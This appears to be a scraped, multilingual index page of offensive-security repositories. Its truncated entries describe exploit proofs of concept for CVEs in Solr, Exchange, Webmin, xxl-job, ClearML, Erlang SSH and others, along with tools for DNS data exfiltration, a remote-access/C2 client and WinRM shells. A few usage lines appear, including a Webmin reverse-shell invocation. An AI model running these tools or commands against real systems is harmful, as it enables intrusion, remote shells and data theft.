CVE-2024-3640_WafBypass

CVE-2024-3640 WafBypass woodpacker 플러그인 활용 우회 방식은 사실상 XML 주석 문자를 삽입하여 키워드를 우회하는 것입니다. 지연 탐지 명령 실행 결과 출력 사용자 정의 메모리 웹셸...

Solr_CVE-2019-17558

SolrCVE-2019-17558 사용법: python3 SolrCVE-2019-17558.py url whoami...

CVE-2020-0688

python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc CVE-2019-12840에 대한 독립형 PoC입니다. 아래는 포트 443으로 리버스 셸을 전송합니다. $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | | \ / / | |/...

xxl-job

xxl-job 실행기 RESTful API 무단 접근 RCE 실행 로그 Console을 이용하여 명령 실행 성공 결과를 얻을 수 있습니다: Example: /joblog/logDetailPage?id=xxxx JDK 환경 변수 확인 String var3 = System.getProperties.toString; System.out.printlnvar3; 명령 실행 /jobcode?jobId=x import com.xxl.job.core.log.XxlJobLogger; import...

CVE-2025-49132-poc

CVE-2025-49132-poc I made this poc for CVE-2025-49132, as it was interesting to make and it's part of a challenge over at my cyber platform deepreview ! This CVE takes advantage of a file inclusion vulnerability that can be escalated to a Remote Code Execution with the pearcmd.php script. This is...

CVE-2022-1292

CVE-2022-1292 설명 crehash 스크립트는 명령 주입을 방지하기 위해 셸 메타 문자를 제대로 처리하지 않습니다. 이 스크립트는 일부 운영 체제에서 자동으로 실행되는 방식으로 배포됩니다. 이러한 운영 체제에서 공격자는 스크립트의 권한으로 임의의 명령을 실행할 수 있습니다. crehash 스크립트의 사용은 더 이상 사용되지 않는 것으로 간주되며 OpenSSL rehash 명령줄 도구로 대체되어야 합니다. OpenSSL 3.0.3에서 수정됨 영향: 3.0.0,3.0.1,3.0.2. OpenSSL 1.1.1o에서 수정됨...

procrustes

Procrustes 데이터 유출을 DNS를 통해 자동화하는 bash 스크립트입니다. DNS를 제외한 모든 아웃바운드 연결이 차단된 서버에서 블라인드 명령어 실행이 가능할 때 사용합니다. 현재 이 스크립트는 sh, bash 및 powershell을 지원하며, exec 스타일 명령어 실행예: java.lang.Runtime.exec과 호환됩니다. 비스테이지: 스테이지: 작동 방식은 다음과 같습니다. 스크립트는 대상 서버에서 실행할 명령어를 입력받아, 대상 셸에 맞게 변환하여 출력이 DNS를 통해 유출될 수 있도록 합니다. 명령어가...

1Panel-CVE-2025-54424-

CVE-2025-54424 CVE-2025-54424：1Panel Client Certificate Bypass RCE Vulnerability All-in-One Tool Scan + Exploit Vulnerability Overview 1Panel is an open-source, modern Linux operation and maintenance panel that provides a graphical interface for deploying websites, managing servers, and running...

Apollo

Apollo Python으로 작성된 간단하고 가벼운 원격 접속 도구 Apollo는 Python 3.4+용 크로스 플랫폼Windows, Linux, FreeBSD 및 MacOS 원격 접속 도구입니다. 현재 기능은 매우 기본적이지만, 사후 침투 원격 코드 실행 및 클라이언트 시스템 정보를 수집하여 C&CCommand & Control 서버로 보고하는 것을 가능하게 합니다. 기능 여러 클라이언트를 동시에 제어 가능 크로스 플랫폼 Windows, Linux, FreeBSD 및 macOS AES-256 암호화 C2 및 D-H 키 교환 ...

cve-2022-29464

cve-2022-29464 Disclaimer 脚本仅供学习参考，请勿恶意攻击他人网站 如违法乱纪，造成一切后果由使用者自行承担 技术无罪，与作者无关 使用脚本默认同意以上说明！ --Author:lowkey0808 Usage usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help message and exit -u 目标url -s 上传的木马,默认上传内置shell.jsp Direct command execution available Webshell...

CVE-2024-24590

ClearML Exploit This repository contains a proof-of-concept exploit for a deserialization vulnerability in ClearML, allowing for remote command execution. This exploit demonstrates how to upload a malicious pickle artifact to ClearML to gain a reverse shell. Prerequisites Before you begin, ensure...

CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version

CVE-2023-4596 PoC Script for CVE-2023-4596, An efficient Python tool created to perform unauthenticated Remote Command Execution via arbitrary file uploads. Resources Installation Usage Usage Installation git clone https://github.com/X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Versio...

KindaRails2Shell

KindaRails2Shell: CVE-2026-66066 Rails Active Storage/libvips 임의 파일 읽기 취약점에 대한 무의존성zero-dependency 단일 파일 개념 증명PoC이자 루프백 전용 Docker 실습 환경입니다. 또한 복구된 secretkeybase에서 위조된 이미지 variation과 명령 실행으로 이어지는 보안 권고의 조건부 권한 상승을 시연합니다. 영향을 받는 버전: Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5, 8.1.0–8.1.3 수정된 버전: Rails 7.2.3....

Sangfor-CVE-2025-12916

Sangfor-CVE-2025-12916 深信服CVE-2025-12916远程命令执行漏洞批量检测工具 || 作者：金夏安全 深信服OSM漏洞批量检测工具 深信服 운영 보안 관리 시스템OSM CVE-2025-12916 원격 명령 실행 취약점을 대상으로 한 대량 탐지 도구입니다. 🚨 취약점 정보 취약점 번호 : CVE-2025-12916 취약점 유형 : 원격 명령 실행 영향 버전 : 深信服OSM 3.0.12 20241106 취약점 파일 : /fort/portallogin 취약점 매개변수 : loginUrl ✨ 기능 특징 🚀 멀티스레드 대량...

CVE-2020-17530-s2-061

CVE-2020-17530-s2-061 s2-061 graphical interface exploit, only for fun and practice Usage python CVE-2020-17530.py Fill in target address Fill in the system command to execute Click Execute PS: The exploit includes a reverse shell function, but I was too lazy to add the corresponding buttons and...

Erlang-OTP-PoC_CVE-2025-32433

Erlang/OTP SSH Pre-Authentication Channel Confusion 📺 Proof of Concept Video Description: A demonstration of the Erlang/OTP SSH Pre-Authentication Channel Confusion vulnerability. Click here to watch the full demo on YouTube Abstract What is this PoC about? This Proof of Concept demonstrates...

evil-winrm-py

evil-winrm-py evil-winrm-py는 WinRMWindows Remote Management 프로토콜을 사용하여 원격 Windows 머신에서 명령을 실행하기 위한 Python 기반 도구입니다. 진행률 표시 및 체크섬 검증이 포함된 파일 업로드/다운로드, 로컬/원격 경로 및 PowerShell cmdlet의 탭 완성, PowerShell 스크립트 로드 및 실행, DLL 및 EXE의 인메모리 실행, 명령 기록, 컬러 출력과 같은 향상된 기능을 갖춘 대화형 셸을 제공합니다. 또한 MCP 서버로 실행되어 WinRM 세션...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

Motorola Baby Monitors - Remote Command Execution

Motorola Baby Monitors contains multiple interface vulnerabilities could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. id: CVE-2021-3577 info: name: Motorola Baby Monitors - Remote Command Execution author: gy741 severity: high...